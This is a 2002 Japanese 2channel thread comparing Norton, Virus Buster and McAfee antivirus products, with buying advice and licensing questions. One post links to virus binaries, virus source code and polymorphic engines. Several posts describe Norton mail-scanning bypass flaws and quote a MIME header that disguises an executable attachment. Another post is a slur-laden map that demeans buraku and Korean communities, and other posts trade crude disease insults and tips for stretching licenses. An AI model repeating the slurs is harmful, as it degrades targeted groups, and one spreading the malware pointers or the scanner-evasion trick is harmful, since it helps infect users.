なら、君が自分で調べれば済むこと、でしょ。
バスター製品版なり新しいマシンなり、
自分で調達して自分で試せばいいじゃん。
好きにしなよ。

> >>553 はナマでやってるのか?
> インターネット=ソープランドのマンコ
> パソコン= >>553 の淋、蔵まみれのチンコ

どうやら梅毒がお脳にまで回ってるみたいだね。
2chしてる暇があったら、病院に行ってくれば?
ノートンやバスターじゃ、君の病気は治んないよ。


559 :名無しさん@お腹いっぱい。:02/02/23 19:48
>>558
キティニマジレスカコワルイ
放置シル

560 : :02/02/23 20:23
>>558
どうやらHIVウイルスが脳にまで回ってるみたいだね。
2chしてる暇があったら、病院に行ってくれば?
ノートンやバスターでも、君の病気は死んでも治んないよ。
ただ死を待つのみ。


561 :名無しさん@お腹いっぱい。:02/02/24 00:34
>>557
うちのノートン君ではdodgyとurkelとcb4111が検出できません
ウィルス定義、さっき更新したばかりなのに何故!?

562 :561:02/02/24 00:39
失礼。意味不明なこと書いてた。

>>544
うちのノートンではdodgy、urkel、cb4111意外は検出しますが

563 : :02/02/24 01:34
なんかウィルス定義アップデートに時間かかるな

564 :名無しさん@お腹いっぱい。:02/02/24 12:56
バスターの方が今のところ、他のソフトと相性がいいみたい。
問題はウィルスの解析依頼がバスターで出来ないこと。

565 :名無しさん@お腹いっぱい。:02/02/24 14:32
やはりノートンのファイアーウォールとVBのウィルスソフトを
入れてルーターを入れれば完全さ!

566 : :02/02/24 20:10
マジな話、バスターの方がいいの?ウィルス対策は。

567 :cheshire-cat:02/02/24 21:16
>>564
トレンドは、下記のフォームでウイルスを送りつければいい。
http://inet.trendmicro.co.jp/esolution/supform.asp

じゃなければ、サポ宛のメールで。

568 :名無しさん@お腹いっぱい。:02/02/24 21:58
>>566
マジな話、このスレとバスタースレとノートンスレを読んだ上で、お好みのソフトを選んでください。


569 :ナナシサソ:02/02/24 22:14
>>566

なんか、まどかの時の事を思うと
バスターがウィルス定義が多いって言うのは誤検出の気がするな
動作も重いし、相性も在るし・・・

以前ソースパクった言うのもバスターじゃなかった?(マカフィだったかな?)
その辺の胡散臭い噂が無いだけ、ノートンの方が良いような気がする


570 :名無しさん@お腹いっぱい。:02/02/25 00:05
>>569
> 以前ソースパクった言うのも
それ摩訶の話。

571 :ナナシサソ:02/02/25 00:11
>>570
やっぱ・・・マカだったか  スンマソ
どっちだったか確証は無かった(w

聞いた話だけど、シマンテックは割れを黙認してるらしい
自社製品がコピーで出回る事の企業的損失よりも
世の中からウィルスが無くなる事の方が大事だと・・・

ソースも無くてスンマソ
どっかの掲示板で誰かが書いてたの見ただけの  パクリ です(w


572 :名無しさん@お腹いっぱい。:02/02/25 01:00
>世の中からウィルスが無くなる事の方が大事だと・・・
単にシェアの拡大だろ・・・

大学とかに対しては半分割れ公認なのと同じ・・・

本気で取り締まるつもりなら馬鹿な大学関係者を締め上げろよ>ACCS
貧乏な割れ厨を取り締まるより先に(w

573 :名無しさん@お腹いっぱい。:02/02/25 01:57
ノートン安置2002でFWの設定どーやっても出来ないんだけど、FW機能ついてるか?

574 :名無しさん@お腹いっぱい。:02/02/25 02:24
ばかやろう○

575 :ノートンでは反応しないウイルス?:02/02/25 03:05
ノートンでは反応しないウイルス?
http://www.ebcvg.com/binary2.php
Mac.Scores
http://www.ebcvg.com/sections/binary/Mac.Scores.zip
Mac.T4d
http://www.ebcvg.com/sections/binary/Mac.T4d.zip
Win32.Mix
http://www.ebcvg.com/sections/binary/Win32.Mix.zip
以上の3つはノートンは反応しません。
−−−
http://www.ebcvg.com/viruses.php
Virus Source Codes
Polymorphic Engines
がある。
http://www.ebcvg.com/sections/polymorphic/W97M.txt
はBloodhound.HybridCOM
知識があればウイルスが作成できる。
ウイルス作成ソフトもある。
http://www.ebcvg.com/binary.php

576 :名無しさん@お腹いっぱい。:02/02/25 03:16
で、どっちがいいのよ?VBとNAV

577 :一時間毎にやっとけ!:02/02/25 03:16
 

578 : :02/02/25 03:19
ノートン先生は割れ公認なのかよ!!
授業一回も出ないのに単位くれる先生みたいだな。

579 : :02/02/25 07:49
というより、ノートン買おうとしてるんだが
反応しないのもあるのかよ(w)
そんなのソフトの役目果たしてないじゃん・・

VB買った方がいいのかなぁ

580 : ◆FjQgxfdo :02/02/25 11:05
ノートンInternet Security 2002をインストールしたら2CHに書き込みができなくなってしまった。
「プラウザがへんですよん」の表示
今、Internet Security 2002を閉じて書いています。。。
誰か〜教えてください。おながいします。。。(汗


581 :名無しさん@お腹いっぱい。:02/02/25 13:07
>>580
【ノートン入れたら2chに書きこめない】人へ
http://pc.2ch.net/test/read.cgi/sec/1011084516/


582 :名無しさん@お腹いっぱい。:02/02/25 14:25
>>580
ど素人はまずど素人板に逝け

583 :名無しさん@お腹いっぱい。:02/02/26 00:59
>>579
どっちを選んでも現存の、また将来出てくるウィルスのすべてを
カバーできるわけじゃないんだし、どっちを選んでもいいんじゃない?
検出率では両方とも一定水準を満たしてるわけだし、
むしろ使い勝手から自分にあったものを選ぶのが正解だよ。
まあどっちを買うにしても、買ってから相性問題とかで困らないように、
まず一度体験版で動作チェックしてみたほうがいいと思うよ。


584 :名無しさん@お腹いっぱい。:02/02/26 01:16
>>575
Mac.Scores
Mac.T4d

名前見て察しがつかないのかよ。

585 :名無しさん@お腹いっぱい。:02/02/26 01:39
ヤレヤレダネ、マッタク。

586 :名無しさん@お腹いっぱい。:02/02/26 06:43
>>583
ま、そうだよね(w)
ウイルスもセキュリティホールもなくならないって言えば
そうなんだよ・・完全なソフトを入れたいってちょっと焦ってたな

両方とも一定水準は越えてるのか・・ならノートンにしよっと
1年間は保証が出来るみたいだし

587 :名無しさん@お腹いっぱい。:02/03/01 14:40
ノートンって2台以上のパソコンで使う時は「マルチライセンスパック」を
買わないとだめなの?
今は普通の奴を使ってるんだけど、2台目にも同じソフトを使っても、定義ファイルとか
大丈夫なんでしょうか?

588 :名無しさん@お腹いっぱい。:02/03/01 14:48
そういえばノートンにプロフェッショナル版とかゆう新製品が今日
発売されるんだよね、機能がノートン2002版よりアップしたん
だとか、IDS機能・ネット使用制限機能・アカウント機能・ウェブ
コンテンツフィルタリング機能・Palm OS対応ウイルス対策機能が
追加されたんだって、その反面保護者機能が削除されたみたいだ。
http://www.symantec.co.jp/region/jp/products/nisproducts/


589 :名無しさん@お腹いっぱい。:02/03/01 14:51
>>587
大丈夫とかそうゆー問題じゃないだろ?
常識考えろよお前何年生だ?

590 :名無しさん@お腹いっぱい。:02/03/01 14:58
>>587
ノートンはUSのサイトに定義ファイル置いてないのか?
それをDLして使用するのは合法。

591 :名無しさん@お腹いっぱい。:02/03/01 15:05
>>587

ここのを落としてみろ。
ttp://www.symantec.com/region/jp/sarcj/download/lang_pages/JP.html

592 :名無しさん@お腹いっぱい。:02/03/01 16:10
バスターってライセンスもってると、新しいバージョンが出たときにタダで使えるよね。
ノートンってダメなの?

593 :名無しさん@お腹いっぱい。:02/03/01 17:15
>>592
ダメだよ。

594 :名無しさん@お腹いっぱい。:02/03/01 21:44
>589,593の考え方は普通 587の考え方はある程度普通
何もかも普通の考え方も良いと思うが少しぐらいは遊びの考えも必要と
思うのは俺だけかな、、、昔は皆アプリを廻して使っていたからな
スキルアップのためにチャレンジも良いと思うがただひとに聞かずに
自分で調べて実行するべきでしょう

595 :名無しさん@お腹いっぱい。:02/03/02 03:09
いや、単にライセンス条項理解してないだけかと……。


596 :名無しさん@お腹いっぱい。:02/03/03 01:01
age

597 :名無しさん@お腹いっぱい。:02/03/07 16:08
で、バスターとノートンどちらがいいの?
バカフィーの期限が切れたので、どちらかを買おうと思うんだが。

598 :名無しさん@お腹いっぱい。:02/03/07 16:20
バスターて重くない?

599 :名無しさん@お腹いっぱい。:02/03/07 16:32
たしかに脳豚は常駐でも軽いかも。

600 :名無しさん@お腹いっぱい。:02/03/07 16:32
(・∀・)600!!

601 :名無しさん@お腹いっぱい。:02/03/07 16:38
ノートンの方がお薦め?

602 :名無しさん@お腹いっぱい。:02/03/07 16:50
いや、バスターの方がいい

603 :名無しさん@お腹いっぱい。:02/03/07 18:44
わりと雑誌で比較チェックしてるから見てみたら?

604 :名無しさん@お腹いっぱい。:02/03/07 18:49
>>598
今日からバスターを使ってますけど、全然重くないですよ。
ちなみに、OSはWinMeでCPUはセレロン600、メモリーは192です。

605 :名無しさん@お腹いっぱい。:02/03/08 00:40
ぞねが重いからたいした意味なし
バスター

606 :名無しさん@お腹いっぱい。:02/03/09 18:39
厨房です。教えて下さい。
ノートンとバスター、どちらの方がFW強いですか?

607 :名無しさん@お腹いっぱい。:02/03/09 20:28
比ぶるまでもなくノ-トン

608 :名無しさん@お腹いっぱい。:02/03/09 20:31
バスターのパッケージってダサいね

609 :バカ:02/03/09 23:41
初めてセキュリティ関係のソフト入れるのよ。
今買うならどっち?結論出してください。

610 :ウィルス対策ソフトは、気休めソフト:02/03/09 23:59
>609
AVG VirusScanかな。英語読めれば、
無料の実用的なトライアル版(機能縮小版)使えます。
期限体験版ではないのが嬉しい。
NimdaもBadTransも検出できます。

googleで"AVG" "VirusScan"と検索してみれば。
メールアドレスでリージョンコード送られて来るので
適当なアドレスにはしないこと。


そんな私はDebian使い。

611 :バカ:02/03/10 00:07
バスターかノートソかを聞いてるのですが…
すみませんねぇ

612 :名無しさん@お腹いっぱい。:02/03/10 01:16
>>611
このスレとノートンスレとバスタースレを頭から全部読んで、
あなたの好きな方を選んでください。

613 :名無しさん@お腹いっぱい。:02/03/10 15:11
>>611
マカフィーのVirusScanで決まりだろ
全米&世界シェアNo.1の製品も知らんのか?
バスターもノートンも所詮マカフィーより駄目製品 シェアがそれを物語ってる
日本語版もソースネクストから出てる 買って幸せになれ

614 :バカヒーを買えと?:02/03/10 15:44
バカヒーは猿まねソフト。
それを買えと?

615 :cheshire-cat:02/03/10 15:47
>>613
>>全米&世界シェアNo.1の製品



616 :名無しさん@お腹いっぱい。:02/03/10 15:50
とりあえずノートンを入れとけば?FWはノートンが上なんだし
ウィルスも一応世界トップクラスなんだろうし

617 :名無しさん@お腹いっぱい。:02/03/10 15:57
つまらん

618 :cheshire-cat:02/03/10 16:16
VirusScanは1998年はトップだったかもしれないけれど、2000年はSymantecが売上トップじゃ?
http://www.symantec.com/press/2001/n011031.html

セキュリティ製品のシェアがトップと書いているから、その他の製品を含めてトップなのかもしれないけれど。

ちょっと調べきれなかった。

619 :名無しさん@お腹いっぱい。:02/03/10 16:45
私はWin98SEでノートン2002使ってるんですが、
アンチウィルスのほうはいいんですが、どうもセキュリティを起動すると
リソース食わない割に無茶苦茶動作が重くなってしまうんです。
freeのZONEとノートンアンチウィルスの組み合わせだと、
リソース食うけど全然動作安定してて快適なんです。
最適化すれば2日間ぐらいは安定するんですが、3日もたつと
ギーギーガーガーでシャレにならないです。

ZONE(free)とノートンセキュリティだったら
どっちのほうがいいんですか?
そりゃ有料の分ノートンのほうがいいとは思うんですが
どういうところがいいんでしょうか?

過去ログ読んでたら私と同じ質問をしている人がいて
過去ログ読めと言われていましたが、特に触れられていなかったので
もしよければ皆さんの意見を聞かせてください。
過去ログ読んだんですが


620 :619:02/03/10 16:48
ちなみにマカフィのアンチウィルスを値段の安さに
つられて先に買ったんですが、アンチウィルスだけで
とんでもなく重かったし、一回アンインストールして
再インストールしたらインストール中にエラーが起きてしまい
失望して乗り換えました。

621 :597:02/03/10 18:34
結局、ノーdを買いました。
私のPCには、バカフィーがバンドルされてるんですが、
買うのはクロスアップグレード・パッケージでいいんですよね。
間違ってるのなら、まだ開けてないので交換しに行ってきます。

622 :名無しさん@お腹いっぱい。:02/03/10 18:35
よつあし エタ─非人─四本指─かっこうだけは人間さ〜〜非人に人権はないよ、だって人に非らずだもん。

- 人間もどき、二足歩行よつあしの生息地 -
                                              │              │                        ┃
                                       部落問題研究所         |                  坂本 雄琴
                          鷹峯部落            │出雲路橋部落  │                    │ ソープ街
              ┌共産立命─千本楽只部落  容疑者同志社犯罪者 田中養正部落             │  ┃
              │                              │              │                    │  ┃
  ━嵯峨嵐山━┿━花園━━円町━━┓          │          中核派熊野寮、岡崎部落     │  ┃
              │                 壬生部落─烏丸御池───三条天部部落───錦林部落 │  ┃
  嵐山──帷子ノ辻 ─蚕ノ社 ──┐  ┃          │              │              │    │  ┃
                         ┌北花田 ╂─大──四条烏丸─ヘルス街 出雲阿国像       │  ┏┿西大津
                         │   └─╂─宮      │              │            御陵  ┃│
  嵐山    ┌─── 西京極┘       ┃          │   五条楽園  五条処刑場跡     │  ┃│
   │     │                      ┃          │           柳原崇仁          ├┐┃浜大津──
  松尾──桂        ┏━吉祥院部落┻━━━━崇仁内浜部落━┳━┿━━━━━━━┿山┻┿大津━━
          │        ┃                      ││          ┃  │              └科─┘
        東向日    向日町             十条唐戸部落         ┗東九チョン━┓         │
          │        ┃                      ││              │     ┃         │
       よつあし     非人          山ノ本清井部落        0番地 よつあし   辰巳部落
    ┏━━┿━━━━┛                      │                │     ┃
    ┃    │                            竹田改進部落────丹波橋┐ ┃
    ┃    │                                                  │  │ ┗━ 辰巳━┓
  高槻 高槻市    橋本遊郭跡─六区ポンコツ─競馬場─中書島遊郭跡┴─┼───南口┐┃
    ┃    │                                   向島てるくはのる   蛆虫
    ┃    │                                       │   ┏━━━┛
    富田部落                                     ウトロチョン ┃
    ┃    │                                       │   ┃

  よつあし、エタ、非人がゾロゾロ京都の町、謹賀新年非人部落探検ツアー路線図三訂版


623 :バカ:02/03/10 19:55
あ〜もう〜けっきょく〜どっちよ〜
じぶんで〜きめれ〜ません
なんかいも〜かう〜ものじゃ〜ないし〜

624 :cheshire-cat:02/03/10 19:58
>>623
アンインストールに失敗しないという点では、バスター。

625 :  :02/03/10 20:16
>>623どうせクダランオマエの人生 失敗しないように
最良のモノを選ぼうとするひつようもないだろ。

626 :名無しさん@お腹いっぱい。:02/03/10 20:56
>>623 両方買おう!
>>622 よりによってこんなとこに誤爆すんな。

627 :バカ:02/03/10 21:11
>>625

なんで参考に聞くだけでそうやって決めつけるかな?
オマエには聞いてないから消えてくれ。

628 :名無しさん@お腹いっぱい。:02/03/10 21:15
じゃぁどっち買っても変わらんのね?

629 :名無しさん@お腹いっぱい。:02/03/10 23:07
>>627
ここはおまえの質問箱か?
馬鹿を認めているのならもっと謙虚になれ
どーせ一人では決められないんだろ?

630 :名無しさん@お腹いっぱい。:02/03/10 23:08
馬鹿は相手にするなよ
初めから聞く気なんてないんだから

631 :名無しさん@お腹いっぱい。:02/03/11 00:04
>>629=>>630

632 :バカ:02/03/11 00:06
わかった。じゃぁバスターにするよ。いろいろありがとう。

633 : :02/03/11 00:10
>>632
バーカ ノートンにしとけよ

634 :名無しさん@お腹いっぱい。:02/03/11 00:37
>>629-630みたいな勘違い厨房は1chにでもいけよ


635 :名無しさん@お腹いっぱい。:02/03/11 02:27
>>632
まあ迷う気持ちはわかるけどさ。
体験版は試してみた?


636 :バカ:02/03/11 12:47
>>635
んと、バスター2002の体験版今使ってます。
でも比べてみないことにはどっちを買おうか決めづらい…
>>633
みたいな言われ方をするとなおさら…

637 :名無しさん@お腹いっぱい。:02/03/11 12:57
誰か>>621の質問に答えてください。
お願いします。

638 :バカヒー:02/03/11 15:47
>>621

クロスアップグレードの箱に書いてあることをよく読むように。
対象のバージョンが書いてあるはず。
バカヒーが入ってないとセットアップ出来ないかは知らない。


639 :名無しさん@お腹いっぱい。:02/03/12 13:54
ノートンは古いマシンだと相性悪いことがおおいな。
とくにセキュリティのほうはマシンをズタズタにしてくれる。
セキュリティオフにしてフリーのファイヤーウォール使用してる。

640 :悪魔∩天使の羽 ◆Rs6M/8fs :02/03/12 19:14
ノーd プロ

バスター
ならどっちが上かな、ノーd<=>ノーd プロに大差はないかな。

641 :名無しさん@お腹いっぱい。:02/03/12 21:44
ノートンの広告を非表示にする機能は(・∀・)イイ

642 :名無しさん@お腹いっぱい。:02/03/12 21:45
トレンドマイクロのURL反応ないぞ?

643 :cheshire-cat:02/03/12 22:08
>>642
落ちてるね。

644 :名無しさん@お腹いっぱい。:02/03/12 22:21
:名無しさん@お腹いっぱい。 :02/03/10 16:45
私はWin98SEでノートン2002使ってるんですが、
アンチウィルスのほうはいいんですが、どうもセキュリティを起動すると
リソース食わない割に無茶苦茶動作が重くなってしまうんです。
freeのZONEとノートンアンチウィルスの組み合わせだと、
リソース食うけど全然動作安定してて快適なんです。
最適化すれば2日間ぐらいは安定するんですが、3日もたつと
ギーギーガーガーでシャレにならないです。

ZONE(free)とノートンセキュリティだったら
どっちのほうがいいんですか?
そりゃ有料の分ノートンのほうがいいとは思うんですが
どういうところがいいんでしょうか?

過去ログ読んでたら私と同じ質問をしている人がいて
過去ログ読めと言われていましたが、特に触れられていなかったので
もしよければ皆さんの意見を聞かせてください。
過去ログ読んだんですが


645 :名無しさん@お腹いっぱい。:02/03/12 22:29
>>644 重くなるのは正直、98のせい。

646 : :02/03/13 14:42
ノートン大先生>>>>>>>>>>>>>>>>>>>>>>>>>>>
バスター>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>バカヒー猿まねソフト


647 :名無しさん@お腹いっぱい。:02/03/13 16:31
>>646
納得

648 :マカフィーいいんとちゃう?:02/03/13 18:41
結構軽いしもんだいなし(-_-メ)

649 : :02/03/14 01:55
昔からバスター使ってるから結構愛着がある。
トレンドマイクロは日本企業とは言い切れないけど、日本でデカクなった
会社だし、日本の代表的IT企業として頑張ってもらいたいからバスターを
推薦します。特に、ルーターを使ってればバスターでセキュリティーは
バスターで十分ではないでしょうか?

650 :名無しさん@お腹いっぱい。:02/03/14 22:49
なんだよおまえら
ウイルスソフト金だして買ってんのかよ
おれは有効期限がないcorporate edition使ってるから
半永久的にただだよ(w

651 :名無しさん@お腹いっぱい。:02/03/14 23:26
>>650
2chは初めてか?

652 :Norton AntiVirusに、複数の脆弱性が発見された。:02/03/17 02:58
一つ目は、.dbxまたは.nchに変更されたファイルが 検知できない問題。
二つ目は、NullキャラクターがMIMEタイプに含まれている場合、ウイルスが検知が出来ないという問題。
三つ目は、RFCに準拠していないMIMEフォーマットの中に悪意のあるコードが含まれている場合、
ウイルスの検知動作がストップしてしまう問題。
これらにより、MIMEヘッダーのContent-Typeで、applicationとattachmentを操作されたファイルが
検知されないため、Wordなどのマクロウイルスが検知されずに実行されてしまう。ウイルスメールが検知されず、
トロイの木馬が仕込まれる。スキャン動作が停止されるため、ウイルスメールを受信してしまうなどの問題が発生する。

653 :Norton AntiVirusに、複数の脆弱性が発見された。:02/03/17 02:59
SecurityFocus
Symantec Norton AntiVirus Conflicting MIME Header Vulnerability
http://online.securityfocus.com/bid/4246

SecurityFocus
Symantec Norton AntiVirus Excluded Filetype Email Protection
Bypass Vulnerability
http://online.securityfocus.com/bid/4245

SecurityFocus
Symantec Norton AntiVirus NULL Characters Incoming Email
Protection Bypass Vulnerability
http://online.securityfocus.com/bid/4242

SecurityFocus
Symantec Norton AntiVirus Non-RFC Compliant Email Protection
Bypass Vulnerability
http://online.securityfocus.com/bid/4243

654 :Norton AntiVirusに、複数の脆弱性が発見された。:02/03/17 03:00
http://homepage2.nifty.com/spw/secure/index.html
http://www.securiteam.com/windowsntfocus/5PP0B0U6KU.html

Content-Type: application/msword;
name=\"Virus.nch\"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=\"Virus.exe\"

655 :名無しさん@お腹いっぱい。:02/03/17 14:22
OS再インストールした後NAVも入れなおしたら購読期限が変わりますよね。
当然だとは思うんですけどこれってライセンス上どういう扱いになるんでしょうか?
ユーザー登録は去年の9月に済ませてあります。その時もらったシリアルを
入力すれば良いのかと思っていたんですが…
もう一回登録するべきなんでしょうか?

656 :実験して下さい。:02/03/17 15:51
>>655
店で買ったNAV使ってるがシリアル入力はないが。

657 :名無しさん@お腹いっぱい。:02/03/17 23:42
僕あんま知識ないからバスターにしよっと!

どこで買えば安いですか??(通販?)

658 :名無しさん@お腹いっぱい。:02/03/18 01:03
>>657
ポイントがつく家電量販店かな。

659 :名無しさん@お腹いっぱい。:02/03/18 17:44
>>655
OS入れ直さなくても、NAVを一度アンインストールしてから再度インストールすると
購読期限がリセットされますよ。登録はそれとは別なんじゃないですか。
でもこの事実を故意に悪用するのはいけないと思います。

660 :655:02/03/18 21:43
>655
>659
レスありがとうございました。
まあ、こちらは登録済みの正規ユーザー様なので
堂々と使う事にします(w
でも、ただアンインストールするだけで購読期限が延長されてしまうんでしたら
あまり意味が無い仕様ですね。てっきりそこらへんの情報はレジストリに残って
OS入れなおさない限り変化しないものだとばかり思っていました。


661 :名無しさん@お腹いっぱい。:02/03/19 04:18
>>613
McAfeeは日本市場では12%なんですが。

662 :名無しさん@お腹いっぱい。:02/03/19 10:25
ノートンはWin98の時、4年前ぐらいか、使ってたけど重くて
やめて、ウィルスバスター入れてたな。バスターの方が軽かったし、
ノートンユーティリティーがすごい糞だったという悪い印象で使ってなかった。
今はフリーソフトとオンラインスキャンで事足りてるからどっちも使ってないが、
今は逆なのかね?
マカフィーはなんだか叩かれてるが、昔から軽くていいと思うよ。3.Xの時あたりは使ってた。

663 :95の頃ヂェードがバンドル:02/03/19 18:53
http://www.jade.co.jp/ はまだ存在するが
今はどうしてるのだろか?

バスターに全員引き抜かれのか?

664 :誤字訂正:02/03/19 18:57
バスターに全員引き抜かれのか?
バスターに全員引き抜かれ「た」のか?

665 :名無しさん@お腹いっぱい。:02/03/20 19:31
age

666 :名無しさん@お腹いっぱい。:02/03/22 11:37
ノートン>>>>>>>>>>>>>>>>>>>>>>>>>>>
バスター>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>クソースネクストバカフィー

667 :名無しさん@お腹いっぱい。:02/03/26 00:04
>>666
禿同。

668 :名無しさん@お腹いっぱい。:02/03/28 21:30
age

669 :名無しさん@お腹いっぱい。:02/04/03 13:14
今日暇なんでトレンドマイクロのHPのオンラインスキャンでPCをスキャンしたら
JS_EXCEPTION.GNEに感染してしていた。そんなアーと思い、常駐させているノートン
でスキャンしたら「感染したファイルはありません」のメッセージ。
しっかりしてよノートン君。





670 :名無しさん@お腹いっぱい。:02/04/03 13:46
>>669 http://www.symantec.com/region/jp/sarcj/data/j/js.exception.exploit.html として検出されない?

671 :名無しさん@お腹いっぱい。:02/04/03 16:42
>>670
ノートンでは何も検出されなかったヨ。

672 :cheshire-cat:02/04/03 18:38
トレンドのオンラインスキャンで駆除済みだったとか。

673 :じんと:02/04/04 00:22
>>669
俺の所ではたまにIEのキャッシュ内で発見されるよ。

674 :名無しさん@お腹いっぱい。:02/04/05 00:01
マカフィー駄目!ウイルスバスターで検出できたウイルスが検出できんかった。もちろんDATは最新。

675 :名無しさん@お腹いっぱい。:02/04/05 00:24
>>669
そんなもんウィルスのうちに入らないよ(w

676 :名無しさん@お腹いっぱい。:02/04/05 22:38
>>673
今回発見された場所はやはりIEのキャッシュ内でした。
>>675
やっぱりノートン常駐させてるから、どんな些細なウィルスでもノートンが検出しなかった
事に対し、なんだかなーと思ったのよ。




677 :名無しさん@お腹いっぱい。:02/04/05 23:00
>>672
トレンドのオンラインスキャンは今回初めて。

678 : :02/04/05 23:01


679 :名無しさん@お腹いっぱい。:02/04/05 23:36
>>672
駆除しないでしょ?
するの?

680 :名無しさん@Emacs:02/04/06 11:15
ウイルスバスターって最新のウイルスパターンファイルだけを
www.trendmicro.co.jp のどこかから入手できますか?

ウェブサイトを見てまわったところ、製品本体と検索エンジンはウェブブラウ
ザでダウンロードして更新できるようなんですが、パターンファイルのダウン
ロードページは見つかりませんでした。

ノートンの場合、ウイルス定義ファイルだけダウンロードして、ノートンがイ
ンストールされているPCで実行すれば最新ウイルスに対応できますよね。これ
と同じようなことはウイルスバスターではできませんでしょうか?

実はインターネットにつながっていないPCがあるのですが、他人から借りたフ
ロッピーを使うので、最新ウイルスに対応できるようにしておきたいんです。


681 :名無しさん@お腹いっぱい。:02/04/06 13:17
http://www.antivirus.com/download/pattern.asp

682 :名無しさん@お腹いっぱい。:02/04/06 13:32
>>679
677だけどオンラインスキャンは駆除しないよ。俺の場合はIEのキャッシュ
だったから削除したけど。
駆除したけりゃバスター買えということでしょう。

683 :680:02/04/06 13:52
>>681
どうもありがとうございます。
パターンファイルの導入は下記URLにある方法でいいのでしょうか?
http://www.trendmicro.co.jp/nimda/file/donyu.txt

684 :名無しさん@お腹いっぱい。:02/04/06 14:50
679>>682
ありがとうございます。
そうですよね。

僕の場合はマカなんですが、ヤバイなと思ったときはオンラインスキャンで
感染してないか一応二重チェックしてます。

685 :知りたいチャンです。:02/04/06 23:16
>659に関連があるのかも?
マカフィーのプレインストール版を使用中ですが、
新しいウイルスソフトを買いたいのでこのスレを参考に
拝見していたんですが、オークションで、ユーザー登録不可のソフトを
高価にて売り買いしているのは,何故なんですか?
初心者なんです、どうか教えてくださいませ。

686 :cheshire-cat:02/04/06 23:33
>>685
>>ユーザー登録不可のソフト
訳わからんです。

でも特殊な高価なアプリなら、高価な金額で登録不可でも売買されているけど。

ちゅうか、どっかの店でノートンでもバスターでもまともなのを買えばいいのに。

687 :知りたいチャンです。:02/04/06 23:50
>686様
ユーザー登録不可というのは、登録済みということです。
この場合、一度他人が登録したウイルスソフトでも次のユーザーが
インストール出来、しかも、最新のウイルスパターン定義に
更新できるか?ということなのです。
よろしくお願いいたします。



688 :cheshire-cat:02/04/06 23:58
>>687
バスターなら、シリアルと別に前のユーザーの割り当てられたIDがわかれば利用できるよ。
NortonはシリアルだけでLiveUpdateは利用できる。

けど、登録って譲渡だよね。漏れは何とも言えないっす。
だってさ、ウイルス定義ファイルの更新って登録後1年間だけ有効だよね。
とすると、登録後1年弱の時間が経って、案内のメルが来るのは以前の登録者だよ。
その時に面倒じゃないのか?

689 :知りたいチャンです。:02/04/07 00:59
>688
ご返答遅れました。ありがとうございます。
中古ソフトの売り買いは、ダメなことはわかってはいるのですが・・・

690 :名無しさん@お腹いっぱい。:02/04/07 02:58
>689
常時接続環境とオンライン登録が一般的になった昨今、
ソフトメーカをあまり舐めん方がいいと思うよ。
ましてやセキュリティーソフトの会社だし…
いや、老婆心です。


691 :名無しさん@お腹いっぱい。:02/04/07 21:18
>689
http://www.trendmicro.co.jp/support/news.asp?id=159
>オークションでの「ウイルスバスター」購入に際してのご注意
>オークションで販売されている弊社製品「ウイルスバスター」の中には、使用許諾契約に違反して販売されているものがありますので、購入の際にはご注意ください。

>例@「ユーザ登録できない商品を販売しているケース」
>出展者でのユーザ登録が存在している可能性があり、ご購入されてもパターンファイル、検索エンジン、最新モジュールおよびサポートサービスの提供が受けられず、新種のウイルスに対応できない場合があります。

>例A 「シリアル番号のみを販売しているケース」
>販売されているシリアル番号でユーザ登録が存在している場合には、ソフトウェアが使用できない場合があります。



692 :名無しさん@お腹いっぱい。:02/04/08 02:26
バスターだと一日一回はMSに情報を送信するか?というメッセージとともにIEが落ちてたが、ノートンにしたら出なくなった。 ノートンマンセー

693 : :02/04/08 04:20


694 :eo:02/04/08 19:56
バンドル版のマカフィー →おいらのバージョンでは定義ファイルを手動更新
                 しないといけない、ちゃんと更新できたか不安。

ノートン体験版      →2chに書き込みができなかった。
                 フリーズが増えた。

バスター体験版     →ウイルス(バットトランス)を初めて発見してくれました。
                 
てなわけで、バスターに5000点。

695 : :02/04/08 21:10
 ┌―――――――――‐
 |今まさにノリノリの〜
 └―v――――――――
      ┌―――――――――‐
      |  元気モリモリの〜
      └――v―――――――
                 ┌―――――――
                 | 色とりどりの〜
                 └―――――y―‐
  ∧_∧    ∧∧       ∧_∧
  (・∀・ )   ( ゚Д゚)      ( ´∀`)つ
 ⊂   つ    (つ \つ    ⊂    ノ
   \ (_)     ヽ ( )〜   人  Y
   (_)       し∪   (_(__)




           ウィルスソフト


   ∧_∧    ∧ ⊂ヽ     ∧_∧
  ( ・∀・)   ( ゚Д゚)ノ    ( ´∀`)
  ⊂ ⊂ ).   ⊂ 、 ヽ     (つ  つ
  (_)ノ      しヽ )      ヽ (_)
   (_)        ∪      (_)


696 :比較:02/04/08 22:48
ノートン>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
バスター>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>クソースネクストバカフィー
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>ウイルス警備隊

697 :名無しさん@お腹いっぱい。:02/04/12 23:21
ウイルス警備隊を比較対象にするところがキショイ

698 :名無しさん@お腹いっぱい。:02/04/13 17:01
